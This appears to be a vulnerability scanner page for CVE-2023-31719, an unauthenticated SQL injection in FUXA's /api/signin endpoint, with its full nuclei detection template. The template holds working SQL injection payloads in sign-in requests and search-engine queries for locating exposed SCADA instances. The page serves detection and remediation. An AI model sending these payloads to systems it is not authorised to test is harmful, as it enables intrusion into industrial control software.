FUXA <= 1.1.12 - Unauthenticated SQL Injection

criticalseverity

9.8CVSS score

44.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.

Fix

Update to the latest version of FUXA to fix the vulnerability.

How to confirm it

Send: GET /api/settings
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "daqTokenizer", "uiPort", "packageDir")
Send: POST /api/signin
Positive when: status_code == 400 and contains(body, "SQLITE_ERROR") and contains(body, "no such function: nosuchfunc{{user}}")
Send: POST /api/signin
Positive when: status_code == 401 and contains(body, "Invalid email/password")
Send: POST /api/signin
Positive when: status_code == 404 and len(body) == 0

Run it with nuclei: nuclei -id CVE-2023-31719 -u <target>

The full check

id: CVE-2023-31719

info:
  name: FUXA <= 1.1.12 - Unauthenticated SQL Injection
  author: Securin
  severity: critical
  description: |
    FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of FUXA to fix the vulnerability.
  reference:
    - https://github.com/MateusTesser/CVE-2023-31719
    - https://github.com/frangoteam/FUXA/blob/v1.1.12/server/runtime/users/usrstorage.js
    - https://github.com/frangoteam/FUXA/blob/v1.1.12/server/api/auth/index.js
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31719
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31719
    epss-score: 0.44363
    epss-percentile: 0.9877
    cwe-id: CWE-89
    cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: frangoteam
    product: fuxa
    shodan-query: http.title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2023,fuxa,sqli,unauth,scada

variables:
  user: "{{rand_text_alpha(6)}}"
  pass: "{{rand_text_alpha(6)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /api/settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "daqTokenizer", "uiPort", "packageDir")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' OR nosuchfunc{{user}}(1)='1","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "SQLITE_ERROR")'
          - 'contains(body, "no such function: nosuchfunc{{user}}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' OR '1'='1","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Invalid email/password")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' AND '1'='2","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'len(body) == 0'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from